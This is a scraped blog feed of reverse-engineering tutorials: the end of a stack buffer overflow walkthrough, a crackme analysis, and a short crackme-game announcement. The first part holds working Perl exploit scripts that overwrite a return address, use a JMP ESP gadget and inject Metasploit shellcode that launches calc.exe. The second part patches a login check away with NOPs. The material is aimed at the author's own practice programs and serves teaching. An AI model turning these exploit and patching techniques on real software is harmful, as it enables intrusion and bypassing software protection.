<p>The first thing that most functions do is called the &#8220;prolog&#8221;.  It pushes EBP onto the stack and moves ESP into EBP.  Generally this means that all function parameters will be refered to as EBP+X and all local variables will be refered to as EBP-X.  The function then allocates the necessary space required for local variables by moving the stack pointer the appropriate number of bytes (100 in hex = 256bytes, the size of our name variable).</p>
<p>The CALL line at 004012E8 is our strcpy function.</p>
<p>Stepping into this section, you can see that it prepares itself for the place where it copies the input string:</p>
<blockquote><p><code>00404152   &#124;.  F3:A4             REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]</code></p></blockquote>
<p>This (as we found out in the <a href="http://nickfnord.com/2008/10/01/binary-analysis-basics-part-ii/">binary analysis part II blog</a> ) uses the register ECX as a counter and increments EDI and ESI.  at this point you can see that the ECX register is 6, which is our &#8220;Hello&#8221; string plus room a null character on the end. and we can now see that our string has been copied onto the stack:</p>
<blockquote><p><code>0012FD88   6C6C6548  Hell<br />
0012FD8C   8A43006F  o.CŠ</code></p></blockquote>
<p>finishing up, the function does everything in reverse &#8211; pop&#8217;s edi and then executes the LEAVE command which does the opposite of the prolog &#8211; in this case it could be expanded to be:</p>
<blockquote><p><code>ADD ESP,100<br />
MOV ESP,EBP<br />
POP EBP</code></p></blockquote>
<p>At this point, you&#8217;ll notice that the address at the top of the stack is the return pointer that we mentioned preiously and is pointing to the 00401330 address immediately after the call to the function:</p>
<p><code><br />
</code></p>
<blockquote><p>0012FE8C   00401330  0@.  RETURN to overflow.00401330 from overflow.004012D4</p></blockquote>
<p>We hit f8 again and the EIP now contains 00401330 and we&#8217;ve returned to the calling block.</p>
<p>But there is absolutely nothing stopping us passing in 257 or more characters and causing strcpy() to faithfully copy whatever we tell it to into the name array, dispite the fact the program only allocates 256 bytes.</p>
<p>Let&#8217;s try it:</p>
<blockquote><p><code>#!/usr/local/bin/perl<br />
$buffer = "A"x300;</p>
<p>exec "c:\\stuff\\tools\\odbg110\\ollydbg ./overflowme.exe \"$buffer\"";</code></p></blockquote>
<p>If we run this perl script and step through the program again &#8211; we&#8217;ll come to the REP MOV copy command again and will note that the ECX register is set to 12D (or 301 bytes) which is the length of our input plus one for a null byte at the end.</p>
<p>So we know that this will write past the allocated space of 256 bytes &#8211; it causes our buffer to look like this:</p>
<blockquote><p><code>0012FD84   00144C48  HL.<br />
0012FD88   41414141  AAAA<br />
0012FD8C   41414141  AAAA<br />
0012FD90   41414141  AAAA<br />
0012FD94   41414141  AAAA<br />
0012FD98   41414141  AAAA<br />
0012FD9C   41414141  AAAA<br />
..<br />
..<br />
0012FE88   41414141  AAAA<br />
0012FE8C   41414141  AAAA<br />
0012FE90   41414141  AAAA<br />
0012FE94   41414141  AAAA<br />
etc.</code></p></blockquote>
<p>and as we continue to step through &#8211; we get to the RETN command and find that our return address has been overwritten by &#8220;41414141&#8243;!  we step again and we get an error:<br />
<a href="http://nickfnord.files.wordpress.com/2008/10/6error41414141.jpg"><img class="alignleft size-full wp-image-34" title="6error41414141" src="http://nickfnord.wordpress.com/files/2008/10/6error41414141.jpg" alt="" width="692" height="126" /></a></p>
<p>and if we pass the error to the program (shift+f9) we get:</p>
<p><a href="http://nickfnord.files.wordpress.com/2008/10/6error41414141segmentation.jpg"><img class="alignleft size-full wp-image-35" title="6error41414141segmentation" src="http://nickfnord.wordpress.com/files/2008/10/6error41414141segmentation.jpg" alt="" width="141" height="133" /></a><br />
A segmentation fault!  this means that the application tried to execute a bit of memory that it did not have permissions to access.  (this is a feature of modern processors running in Protected mode http://en.wikipedia.org/wiki/Protected_mode).</p>
<p>What we realise here is that the processor was trying to execute instructions contained at the address 41414141, an address that the user passed to it!</p>
<p>What if, instead of sending through a bunch of A&#8217;s, we could send through our own code, then cause the program to start executing it by pointing the return address into our code!  we could then cause the program to do whatever we wanted it to!</p>
<p>So the first thing to do is identify exactly which part of our input string overwites the return address.  mostly we do this by a series of educated guesses.   We know that the allocated buffer is 256 bytes long and we know that at the point the program subtracts the allocated space from the stack pointer, the stack looks like this:</p>
<blockquote><p><code>0012FE88  /0012FF70  pÿ.<br />
0012FE8C  &#124;00401330  0@.  RETURN to overflow.00401330 from overflow.004012D4<br />
0012FE90  &#124;00144B55  UK.  ASCII "Hello"<br />
0012FE94  &#124;7C910208  ‘&#124;  ntdll.7C910208</code></p></blockquote>
<p>that is, it will always have the previous stack frame pointer pushed on top of the return address &#8211; so we can take a guess that to overwrite the return address exactly, we&#8217;ll need 256 A&#8217;s to fill the buffer, 4 more to fill the space where ebp was pushed and then we can overwrite the return address.</p>
<p>so here&#8217;s our attempted perl script:</p>
<blockquote><p><code>#!/usr/local/bin/perl<br />
$buffer = "A"x256;  #fills up the variable space<br />
$buffer .= "A"x4;    #should overwrite the ebp address<br />
$buffer .= "B"x4;    #should overwrite the return address with 42424242<br />
$buffer .= "C"x100;  #if return address = 43434343 then we've padded too much</p>
<p>exec "c:\\stuff\\tools\\odbg110\\ollydbg ./overflowme.exe \"$buffer\"";</code></p></blockquote>
<p>and it turns out:</p>
<p><a href="http://nickfnord.files.wordpress.com/2008/10/6error42424242segmentation.jpg"><img class="alignleft size-full wp-image-36" title="6error42424242segmentation" src="http://nickfnord.wordpress.com/files/2008/10/6error42424242segmentation.jpg" alt="" width="141" height="133" /></a><br />
It&#8217;s exactly where we expected it to be!  now if the allocated address space was not a multiple of 4 we would possibly have to compensate by between 1 and 4 bytes to get it exactly spot on, but in this case we don&#8217;t need to worry about it.</p>
<p>if we have a quick look at the process in Olly &#8211; we&#8217;ll see the stack looks something like this:</p>
<blockquote><p><code>0012FE84   41414141  AAAA<br />
0012FE88   41414141  AAAA<br />
0012FE8C   42424242  BBBB  ;this is our return address<br />
0012FE90   43434343  CCCC<br />
0012FE94   43434343  CCCC</code></p></blockquote>
<p>So now we know we can overwrite the return address at will, and by doing so can cause the program to execute whatever code is at the address we point to.</p>
<p>So, we just need to point it to the address 0012FE90 right? that way, we can pass in some instructions instead of a whole bunch of C&#8217;s and the computer will execute it?  Yes, but the problem we face here is that this address contains a null byte (the 00).  when strcpy() encounters a null byte, it will stop copying! meaning that although we can change the address alright, we would not then be able to include code following.</p>
<p>in this particular program, there are two solutions to this:</p>
<p>We can place our code prior to the return address, (this is only possible if the allocated space is large enough for our code, but is not allways possible) or we can take note of the fact that as soon as the program flow goes to the return address, the ESP register will be pointing at the top of the stack, where our C&#8217;s start.  so what we need to do is find a memory address which does not have any null bytes in it and that has the command JMP ESP or CALL ESP.  We then replace the return address with this address and the program flow will start executing our user input.</p>
<p>This is where OllyUni comes in &#8211; OllyUni is an addon to Ollydbg that allows searching for certain commands in all the memory executable by the current process.  just google for it and place the .dll file in your olly directory.</p>
<p>Once you&#8217;ve got OllyUni in, restart ollydbg and rightclick in the execution window-&#62;overflow return address-&#62;ASCII overflow returns-&#62;JMP/CALL ESP.  depending on the speed of your computer this may take a while.</p>
<p>it should come back in time with a message saying it&#8217;s found some addresses:</p>
<p><a href="http://nickfnord.files.wordpress.com/2008/10/6ollyunicool.jpg"><img class="alignnone size-full wp-image-37" title="6ollyunicool" src="http://nickfnord.wordpress.com/files/2008/10/6ollyunicool.jpg" alt="" width="221" height="120" /></a></p>
<p>awesome! View-&#62;Log</p>
<p><a href="http://nickfnord.wordpress.com/files/2008/10/6ollyunilog.jpg"><img class="alignnone size-full wp-image-38" title="6ollyunilog" src="http://nickfnord.wordpress.com/files/2008/10/6ollyunilog.jpg" alt="" width="549" height="263" /></a></p>
<p>pick an address that does not have 00 in it. &#8211; for our purposes, we&#8217;re going for &#8220;7C86467B&#8221;</p>
<p>now we place that in our perl script:</p>
<blockquote><p><code>#!/usr/local/bin/perl<br />
$buffer = "A"x256;  #fills up the variable space<br />
$buffer .= "A"x4;   #should overwrite the ebp address<br />
$buffer .= "\x7B\x46\x86\x7C";   #should overwrite the return address with 7C86467B<br />
$buffer .= "C"x100;  #if return address = 43434343 then we've padded too much</p>
<p>exec "c:\\stuff\\tools\\odbg110\\ollydbg ./overflowme.exe \"$buffer\"";</code></p></blockquote>
<p>Note that the address bytes are written &#8220;backwards&#8221; this is becuase they will be written in reverse order onto the stack.</p>
<p>now run it just for kicks&#8230;</p>
<p>our stack, as expected, looks like this:</p>
<blockquote><p><code>0012FE84   41414141  AAAA<br />
0012FE88   41414141  AAAA<br />
0012FE8C   7C86467B  {F†&#124;  kernel32.7C86467B<br />
0012FE90   43434343  CCCC<br />
0012FE94   43434343  CCCC</code></p></blockquote>
<p>step through the RETN command&#8230;</p>
<p>and we find execution has landed at:</p>
<blockquote><p><code>7C86467B   - FFE4                JMP ESP</code></p></blockquote>
<p>and then of course &#8211; our EIP register looks like this:</p>
<p>EIP 0012FE90</p>
<p>demonstrating that we&#8217;re about to execute our C&#8217;s.</p>
<p>now, we step again and we find our useless-fact-of-the-day:  the instruction &#8220;43&#8243; in hex means INC EBX, as we see that the program is trying to execute the instructions:</p>
<p>Execution window:</p>
<blockquote><p><code>0012FE90     43                  INC EBX<br />
0012FE91     43                  INC EBX<br />
0012FE92     43                  INC EBX<br />
0012FE93     43                  INC EBX<br />
0012FE94     43                  INC EBX<br />
0012FE95     43                  INC EBX<br />
0012FE96     43                  INC EBX<br />
0012FE97     43                  INC EBX</code></p></blockquote>
<p>Stack window:</p>
<blockquote><p><code>0012FE90   43434343  CCCC<br />
0012FE94   43434343  CCCC</code></p></blockquote>
<p>yay for us!</p>
<p>Now let&#8217;s do something a bit more useful than incrementing EBX a hundred times eh?</p>
<p>How about we open the calculator program calc.exe?</p>
<p>Head on over to metasploit.com, choose shellcode, click demonstration version, filter modules to os::win32, pick &#8220;Windows Execute Command&#8221; and type &#8220;calc.exe&#8221; into the CMD field and hit the &#8220;generate payload&#8221; button.</p>
<p>copy and paste the shellcode into your perl script like so, removing the C&#8217;s and adding $shellcode to the command line arguments:</p>
<blockquote><p><code>#!/usr/local/bin/perl<br />
$buffer = "A"x256;  #fills up the variable space<br />
$buffer .= "A"x4;   #should overwrite the ebp address<br />
$buffer .= "\x7B\x46\x86\x7C";   #should overwrite the return address with 7C86467B<br />
$shellcode =<br />
"\x2b\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe2".<br />
"\x61\xf1\x91\x83\xeb\xfc\xe2\xf4\x1e\x89\xb5\x91\xe2\x61\x7a\xd4".<br />
"\xde\xea\x8d\x94\x9a\x60\x1e\x1a\xad\x79\x7a\xce\xc2\x60\x1a\xd8".<br />
"\x69\x55\x7a\x90\x0c\x50\x31\x08\x4e\xe5\x31\xe5\xe5\xa0\x3b\x9c".<br />
"\xe3\xa3\x1a\x65\xd9\x35\xd5\x95\x97\x84\x7a\xce\xc6\x60\x1a\xf7".<br />
"\x69\x6d\xba\x1a\xbd\x7d\xf0\x7a\x69\x7d\x7a\x90\x09\xe8\xad\xb5".<br />
"\xe6\xa2\xc0\x51\x86\xea\xb1\xa1\x67\xa1\x89\x9d\x69\x21\xfd\x1a".<br />
"\x92\x7d\x5c\x1a\x8a\x69\x1a\x98\x69\xe1\x41\x91\xe2\x61\x7a\xf9".<br />
"\xde\x3e\xc0\x67\x82\x37\x78\x69\x61\xa1\x8a\xc1\x8a\x91\x7b\x95".<br />
"\xbd\x09\x69\x6f\x68\x6f\xa6\x6e\x05\x02\x90\xfd\x81\x4f\x94\xe9".<br />
"\x87\x61\xf1\x91";</p>
<p>exec "c:\\stuff\\tools\\odbg110\\ollydbg ./overflowme.exe \"$buffer$shellcode\"";</code></p></blockquote>
<p>Breaking down this bit of code is something for another day, suffice to say that it goes and opens the calculator. it is called shellcode because usually you would use it to open a shell.  I think it was Aleph1 that coined the phrase in his phrack article &#8220;smashing the stack for fun and profit&#8221;.</p>
<p>now we&#8217;re almost ready &#8211; you&#8217;ll notice that when running through the above, it still fails miserably&#8230;.</p>
<p>here is where I admit my lack of patience to find out why &#8211; I know it fails because the registers contain the wrong values but I don&#8217;t know why adding 7 NOP&#8217;s prior to the shellcode starting fixes it.  anyway &#8211; I&#8217;ll come back to that I guess.</p>
<p>so our final shellcode is as follows:</p>
<blockquote><p><code>#!/usr/local/bin/perl<br />
$buffer = "A"x256;  #fills up the variable space<br />
$buffer .= "A"x4;   #should overwrite the ebp address<br />
$buffer .= "\x7B\x46\x86\x7C";   #should overwrite the return address with 7C86467B<br />
$buffer .= "\x90"x7;<br />
$shellcode =<br />
"\x2b\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe2".<br />
"\x61\xf1\x91\x83\xeb\xfc\xe2\xf4\x1e\x89\xb5\x91\xe2\x61\x7a\xd4".<br />
"\xde\xea\x8d\x94\x9a\x60\x1e\x1a\xad\x79\x7a\xce\xc2\x60\x1a\xd8".<br />
"\x69\x55\x7a\x90\x0c\x50\x31\x08\x4e\xe5\x31\xe5\xe5\xa0\x3b\x9c".<br />
"\xe3\xa3\x1a\x65\xd9\x35\xd5\x95\x97\x84\x7a\xce\xc6\x60\x1a\xf7".<br />
"\x69\x6d\xba\x1a\xbd\x7d\xf0\x7a\x69\x7d\x7a\x90\x09\xe8\xad\xb5".<br />
"\xe6\xa2\xc0\x51\x86\xea\xb1\xa1\x67\xa1\x89\x9d\x69\x21\xfd\x1a".<br />
"\x92\x7d\x5c\x1a\x8a\x69\x1a\x98\x69\xe1\x41\x91\xe2\x61\x7a\xf9".<br />
"\xde\x3e\xc0\x67\x82\x37\x78\x69\x61\xa1\x8a\xc1\x8a\x91\x7b\x95".<br />
"\xbd\x09\x69\x6f\x68\x6f\xa6\x6e\x05\x02\x90\xfd\x81\x4f\x94\xe9".<br />
"\x87\x61\xf1\x91";</p>
<p>exec "./overflowme.exe \"$buffer$shellcode\"";</code></p></blockquote>
<p>you can remove the olly call as I have done above and execute!</p>
<p>we should be rewarded with the following:</p>
<p><a href="http://nickfnord.files.wordpress.com/2008/10/6finalsegfault.jpg"><img class="alignnone size-full wp-image-39" title="6finalsegfault" src="http://nickfnord.wordpress.com/files/2008/10/6finalsegfault.jpg" alt="" width="141" height="133" /></a></p>
<p>and this</p>
<p><a href="http://nickfnord.files.wordpress.com/2008/10/6calc.jpg"><img class="alignnone size-full wp-image-40" title="6calc" src="http://nickfnord.wordpress.com/files/2008/10/6calc.jpg" alt="" width="260" height="260" /></a></p>
<p>and a terminal message stating that we have abnormal program termination.</p>
<p>And we can now do a <a href="http://uk.youtube.com/watch?v=60og9gwKh1o">root dance</a> in celebration.</p>
<p>Next blog we&#8217;ll look at what happens when we remove that hard-coded array, reducing the space on the stack, and how we can insert our shellcode prior to the return point.</p>
<p>There is also a follow up article to the one mentioned at the top of this post here <a href="http://www.ethicalhacker.net/content/view/165/2/">http://www.ethicalhacker.net/content/view/165/2/</a> which also goes into basic buffer overflows.</p>
<p>until next time.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Binary Analysis Basics Part III]]></title>
<link>http://nickfnord.wordpress.com/2008/10/02/binary-analysis-basics-part-iii/</link>
<pubDate>Thu, 02 Oct 2008 18:45:27 +0000</pubDate>
<dc:creator>nickfnord</dc:creator>
<guid>http://nickfnord.wordpress.com/2008/10/02/binary-analysis-basics-part-iii/</guid>
<description><![CDATA[Hello again, This is yet another session reversing simple c programs in order to see how they work u]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Hello again,</p>
<p>This is yet another session reversing simple c programs in order to see how they work under the hood.</p>
<p>For this session, we&#8217;ll need the same tools as before:</p>
<p>A C compiler for windows (I&#8217;m using LCC: <a href="http://www.cs.virginia.edu/~lcc-win32/">http://www.cs.virginia.edu/~lcc-win32/</a>)<br />
Ollydbg (<a href="http://www.ollydbg.de/">http://www.ollydbg.de/</a>)<br />
IDA demo or free (<a href="http://www.datarescue.be/downloaddemo.htm">http://www.datarescue.be/downloaddemo.htm</a>)<br />
A good text editor, or you can use the IDE which comes with LCC.<br />
Knowledge of basic programming structure.<br />
Basic knowledge of assembly language.<br />
some familiarity with OllyDbg<br />
knowledge of Hex</p>
<p>This time, the hello world program will be a bit more complex.  There are a number of things I would like to demonstrate here.</p>
<p>1. This program is essentially a crackme.  It&#8217;s a very basic one, but there are three different &#8220;levels&#8221; I guess (for a want of a better word) that we will go through when demonstrating how to crack it.  These three are:<br />
Level1a: identify the password string for a particular login name. (Super easy)<br />
Level1b: Bypass the authentication checking section by patching (easy (and cheating))<br />
Level2: Create a keygen without understanding the algorithm (a bit harder)<br />
Level3: Understand the algorithm just by looking at the source (more difficult but instructive)<br />
2. This is still a simple trial program, but as you&#8217;ll see, things just got a whole lot more complicated.  The point of reversing is not always to understand the entire thing and in most cases you can&#8217;t because of the size of the program.  We just need to find what we&#8217;re looking for and understand a bit of how the program flows.<br />
3. There are two constructs here that were deliberately left out of the previous two examples:  Loops and Functions.<br />
4. In the process of doing the above, we&#8217;ll learn a bit more of the functionality of OllyDbg and IDAPro.</p>
<p>The approach we will take is one of an analyst looking at how we can achieve the three levels mentioned above, and as we do, points 2,3 and 4 will be fully explored.  Also note that bypassing a login and gleaning the plain text password as easily as we will do is very unlikely to be possible on a commercial product or the harder crackme&#8217;s that you&#8217;ll find arround the place.  the purpose of this is to just learn what is possible.</p>
<p>Obviously we have the complete source code available to us for viewing, which we wouldn&#8217;t normally have when trying a crackme, but this is a learning excersise.</p>
<p>Now one thing I want to make clear here:  I do not condone bypassing the protection of commercial software just for the sake of using it without paying for it, regardless of whether it is legal or not in whatever country you are in.  The reason we are going through this &#8220;crackme&#8221; here is to demonstrate binary analysis, with the ultimate goal being complete understanding of the program.</p>
<p>So here&#8217;s the Code:</p>
<p><code>#include &#60;stdio.h&#62;<br />
#include &#60;string.h&#62;<br />
#include &#60;ctype.h&#62;</p>
<p>void keygen(char p[],char c[])<br />
{<br />
int i,j;<br />
char key[] = "NICKFNORD";<br />
//generate password C=p+k(mod26) and check<br />
for(i=0,j=0;i&#60;strlen(p);i++,j++)<br />
{<br />
if(j&#62;=strlen(key))<br />
{<br />
j=0;<br />
}<br />
c[i] = ((toupper(p[i])-65+key[(j)]-65)%26+65);</p>
<p>}<br />
}</p>
<p>int main(void)<br />
{<br />
char username[50];<br />
char password[50];<br />
char correctp[50];<br />
int i,j;</p>
<p>for (i=0;i&#60;50;i++)<br />
{<br />
correctp[i] = '';<br />
password[i] = '';<br />
//username[i] = '';<br />
}</p>
<p>printf("Enter Username:\n");<br />
scanf("%s",username);<br />
printf("Enter Password:\n");<br />
scanf("%s",password);<br />
//find length of username/password, must be 8 characters<br />
if (strlen(username) &#60; 8 &#124; strlen(password) &#60; <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_cool.gif' alt='8)' class='wp-smiley' /><br />
{<br />
printf("invalid username/password combination");<br />
return 1;<br />
}</p>
<p>keygen(username,correctp);</p>
<p>if (strcmp(correctp,password)==0)<br />
{<br />
printf("Hello World!\nThank you for logging in %s",username);<br />
}<br />
else<br />
{<br />
printf("invalid username/password combination");<br />
}<br />
return 0;<br />
}</code></p>
<p>This time, we find that the dissassembly is slightly different &#8211; our program is bigger and so there is more to scroll through to get to the bits that we&#8217;re interested in.  Instead of just a walkthrough the code this time arround, we&#8217;re going to treat this like a crackme and pretend that we havn&#8217;t seen the source code above.</p>
<p>So the first thing one would normally do is to run the program to see what we have:</p>
<p><code>C:\stuff\C&#62;compile hello4</p>
<p>C:\stuff\C&#62;lcc -o hello4.obj hello4.c</p>
<p>C:\stuff\C&#62;lcclnk -o hello4.exe hello4.obj</p>
<p>C:\stuff\C&#62;hello4<br />
Enter Username:<br />
ZZZZZZZZ<br />
Enter Password:<br />
AAAAAAAA<br />
invalid username/password combination<br />
C:\stuff\C&#62;</code></p>
<p>What we are trying to do for in the first instance here is identify parts of the program code that we can look for in order to know where the starting point of the protection may be.</p>
<p>So we open up in olly.  You&#8217;ll notice that although this is still a fairly simple program, there is a bit more complexity.  Olly has done its best to analyse the code and place brackets arround significant blocks but it doesn&#8217;t appear clear where any of the messages above come from.  Most crackme&#8217;s would also have a GUI which adds even more complexity to the dissassembly, so the easiest way to find your place in a program like this is to search for text strings.</p>
<p>Right click in the main program window -&#62; search for -&#62; all referenced text strings</p>
<p>You&#8217;ll see a short list of hard-coded strings that appear in the program:</p>
<p><a href="http://nickfnord.files.wordpress.com/2008/10/helloworld4strings.jpg"><img src="http://nickfnord.wordpress.com/files/2008/10/helloworld4strings.jpg?w=300" alt="" title="helloworld4strings" width="300" height="186" class="alignnone size-medium wp-image-24" /></a></p>
<p>Seeing our first goal is to bypass the username/password code and get straight to whatever is behind it, we are most interested in what happens after we enter our username and password.  we notice that there are two lines that display our error message.  We can infer from this that there are multiple separate validations occuring that may trigger the error. We do not know which validation check we have triggered.  There are a number of ways forward from here:  We can ignore the fact that we don&#8217;t know which check we have triggered and just see what the last one does and try to bypass that or we can trace through from the start of the program to see what happens immediately after the it requests our username/password, but for the moment there is a glaringly obvious place to start:  The line that says &#8220;Hello World!Thank you for logging in %s&#8221;.  This is what we want to achieve so lets start there and work backwards &#8211; Double click on that line in the strings window and olly will take you to the portion of code referencing that string.</p>
<p><code>00401465  &#124;. 83F8 00        CMP EAX,0<br />
00401468  &#124;. 75 16          JNZ SHORT hello4.00401480<br />
0040146A  &#124;. 8DBD 66FFFFFF  LEA EDI,DWORD PTR SS:[EBP-9A]<br />
00401470  &#124;. 57             PUSH EDI                                 ; /&#60;%s&#62;<br />
00401471  &#124;. 68 AAB04000    PUSH hello4.0040B0AA                     ; &#124;format = "Hello World!Thank you for logging in %s"<br />
00401476  &#124;. E8 A2760000    CALL hello4._printf                      ; \_printf<br />
0040147B  &#124;. 83C4 08        ADD ESP,8<br />
0040147E  &#124;. EB 0D          JMP SHORT hello4.0040148D<br />
00401480  &#124;&#62; 68 D3B04000    PUSH hello4.0040B0D3                     ; /format = "invalid username/password combination"<br />
00401485  &#124;. E8 93760000    CALL hello4._printf                      ; \_printf<br />
0040148A  &#124;. 83C4 04        ADD ESP,4<br />
0040148D  &#124;&#62; B8 00000000    MOV EAX,0</code></p>
<p>Now we should recognise this construct immediately:<br />
<code><br />
CMP command (or any command that sets the appropriate flags)<br />
Conditional Jump (to start of code block 2)<br />
Code block 1<br />
Unconditional Jump(to line after end of code block 2)<br />
Code block 2</code></p>
<p>This is an if-test type construct as we have previously seen.</p>
<p>We assume that the program will take our username, generate a correct password from it and compare that one with the one that we entered.  The first place to look for this is immediately prior to the successfull login and failure messages.  In this instance, we can very clearly see that there is a call to strcmp, just prior to the compare command that triggers the conditional jump that we neutralised previously:</p>
<p><code>00401455  &#124;. 8D7D CA        LEA EDI,DWORD PTR SS:[EBP-36]<br />
00401458  &#124;. 57             PUSH EDI                                 ; /s2<br />
00401459  &#124;. 8D7D 98        LEA EDI,DWORD PTR SS:[EBP-68]            ; &#124;<br />
0040145C  &#124;. 57             PUSH EDI                                 ; &#124;s1<br />
0040145D  &#124;. E8 AE790000    CALL &#60;JMP.&#38;CRTDLL.strcmp&#62;                ; \strcmp</code></p>
<p>We can see that it loads data from storage on the stack (in variables) and pushes them back onto the top of the stack prior to calling the strcmp function.  We can therefore assume that these two strings are going to be our password and the password generated by the program.  The easiest way to check is to set a breakpoint (F2) on line 0040145D and see what the situation is.</p>
<p>run the program (F9) after setting the breakpoint and we can see that the top two lines of the stack are as per below:</p>
<p><code>0012FEBC   0012FF08  &#124;s1 = "MHBJEMNQ"<br />
0012FEC0   0012FF3A  \s2 = "AAAAAAAA"</code></p>
<p>So let&#8217;s give it a try:</p>
<p><code>C:\stuff\C&#62;hello4<br />
Enter Username:<br />
ZZZZZZZZ<br />
Enter Password:<br />
MHBJEMNQ<br />
Hello World!<br />
Thank you for logging in ZZZZZZZZ<br />
C:\stuff\C&#62;<br />
</code><br />
&#8230; and we see the magic words.</p>
<p>Now at this point it is also trivial to bypass the above if-test entirely.  Ollydbg allows us to make changes to this code and save our changes into another executable. We basically want to remove this if-test, allowing us to get to the Hello World message regardless of what we put in the username and password fields.  to do this, we can do any number of things to stop the code from jumping.  The simplest way to do this is fill the command with NOPs  or Null Operations.</p>
<p>Click on the JNZ line (00401468) and right click -&#62; binary -&#62; fill with NOPs</p>
<p>you should now see this:</p>
<p><code>00401465  &#124;. 83F8 00        CMP EAX,0<br />
00401468     90             NOP<br />
00401469     90             NOP<br />
0040146A  &#124;. 8DBD 66FFFFFF  LEA EDI,DWORD PTR SS:[EBP-9A]</code></p>
<p>Now there is one more thing that we should take care of before writing this to another binary file.  if you scroll up, you&#8217;ll see the other &#8220;invalid username/password combination&#8221; string.  Because we don&#8217;t know which one we encountered when we ran through the program, we should take this out as well.  The assembly surrounding it is as follows:</p>
<p><code>00401429  &#124;. 83FF 00        CMP EDI,0<br />
0040142C  &#124;. 74 14          JE SHORT hello4.00401442<br />
0040142E  &#124;. 68 D3B04000    PUSH hello4.0040B0D3                     ; /format = "invalid username/password combination"<br />
00401433  &#124;. E8 E5760000    CALL hello4._printf                      ; \_printf<br />
00401438  &#124;. 83C4 04        ADD ESP,4<br />
0040143B  &#124;. B8 01000000    MOV EAX,1<br />
00401440  &#124;. EB 50          JMP SHORT hello4.00401492<br />
00401442  &#124;&#62; 8D7D 98        LEA EDI,DWORD PTR SS:[EBP-68]</code></p>
<p>This looks similar to our standard if-then-else test, except this time the second conditional jump goes a very long way away.  if we follow it down, we&#8217;ll see that line 00401492 finalises the program and returns to the calling block.  What this looks like is an if-test without an else.  so in pseudo code we can assume that the programmer has written something like:</p>
<p><code>if EDI &#60;&#62; 0 then<br />
print invalid message<br />
exit program<br />
end if;</code></p>
<p>in any case, because all we want to do in this case is bypass the invalid message and cause the program not to exit, we simply need to turn that conditional JE into an unconditional JMP.  once again &#8211; right click -&#62; assemble.</p>
<p>change the text to</p>
<p><code>JMP SHORT 00401442</code></p>
<p>and assemble.</p>
<p>and it should now look like this</p>
<p><code>0040142C     EB 14          JMP SHORT hello4.00401442</code></p>
<p>We are now ready to save our changes into a separate executable.</p>
<p>Right-click in the dissassembly window -&#62; copy to executable -&#62; all modifications -&#62; &#8220;copy all&#8221;.<br />
this will bring up another window with our modified dissassembly.  Right click -&#62; Save file.  change the name to something else.  in this case I&#8217;m calling it Hello4patched.exe</p>
<p>Now lets run it and see how it works:</p>
<p><code>C:\stuff\C&#62;hello4patched.exe<br />
Enter Username:<br />
AAAAAAAA<br />
Enter Password:<br />
ZZZZZZZZ<br />
Hello World!<br />
Thank you for logging in AAAAAAAA</p>
<p>C:\stuff\C&#62;hello4patched.exe<br />
Enter Username:<br />
asdf<br />
Enter Password:<br />
asdf<br />
Hello World!<br />
Thank you for logging in asdf<br />
C:\stuff\C&#62;</code></p>
<p>Well, hey!  there we go &#8211; now that was easy wasn&#8217;t it.  With a bare minimum of understanding of the program&#8217;s workings we managed to bypass the two sections of security &#8211; and heck we didn&#8217;t even figure out what either of them actually did.</p>
<p>Now on a very serious note: What I just demonstrated was absolute rubbish:</p>
<p>We didn&#8217;t learn anything whatsoever about the program<br />
We still havn&#8217;t figured out what algorithm is used to generate the passwords<br />
There is only a miniscule chance that any actual commercial product will allow us to simply bypass an if-test or two in order to get to the main program.<br />
We didn&#8217;t actually achieve anything usefull whatsoever in relation to learning how to reverse, with the exception of learning how to patch executables using ollydbg.</p>
<p>The goal here is to be able to understand common constructs and to be able to find what we&#8217;re looking for in the dissassembly as fast as possible.</p>
<p>There are quite a few things we need to analyse and find out:</p>
<p>What is that first lot of validation that seems to happen before comparing the strings?<br />
what do the few lines of code before the enter username line do?<br />
What algorithm is used to determine the password?<br />
can we possibly duplicate this algorithm in a program of our own?</p>
<p>We&#8217;ll deal with these in the Next blog where we go onto deconstructing loops and looking at Level 2 of the goals mentioned at the start of this blog.</p>
<p>until then.</p>
<p>Nick.</p>
<p>I have to say that I really had to force myself to work through the above so that I could understand it enough to write it down and explain it all to someone else.  The reason being is that IDAPro is seriously better at giving the reverser a good overview of a program flow.</p>
<p><a href="http://nickfnord.files.wordpress.com/2008/10/hello4idaoverview.jpg"><img src="http://nickfnord.wordpress.com/files/2008/10/hello4idaoverview.jpg?w=300" alt="" title="hello4idaoverview" width="300" height="197" class="alignnone size-medium wp-image-28" /></a></p>
<p>as I was going through the above, I sometimes referenced IDAPro, but I made myself understand what was going on in Olly just to excersise my brain.  after all, I&#8217;m not here to crack my own hello world program, I&#8217;m here to learn stuff.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Something New! A CrackMe Game.]]></title>
<link>http://noz3001.wordpress.com/?p=32</link>
<pubDate>Wed, 01 Oct 2008 20:45:02 +0000</pubDate>
<dc:creator>noz3001</dc:creator>
<guid>http://noz3001.wordpress.com/?p=32</guid>
<description><![CDATA[I&#8217;ve created a new CrackMe specifically designed to be cracked using Cheat Engine. It might he]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>I&#8217;ve created a new CrackMe specifically designed to be cracked using Cheat Engine. It might help you learn how to use it if you are new but if you are not new, it will most probably piss you off.</p>
<p><img src="http://img357.imageshack.us/img357/3705/secureintxc1.jpg" alt="SecureInt Screenshot" /></p>
<ul><strong>The aim of the game</strong></ul>
<p> To complete the game you need to set the on-screen value to 5000 and press enter. As soon as you do this you will recieve confirmation of your success and you have beat the game and me =D.</p>
<ul><strong>The Rules</strong></ul>
<p> Theres obviously rules, like in any other game, but they can be bent a bit. Firstly, using a debugger like OllyDbg isn&#8217;t really reccomended and i&#8217;ve used measures to really piss you off if you try. IDA is fine though.<br />
 Also, patching in ollydbg and saving the modification to the file is against the rules. Cheat Engine is really reccomended as you should &#8220;freeze&#8221; the number at 5000 when you find it.<br />
 Anything else should be fine.</p>
<ul><strong>Download Links??!??!!</strong></ul>
<p>You can get the current version: <a href="http://forum.cheatengine.org/download.php?id=40718">Here</a><br />
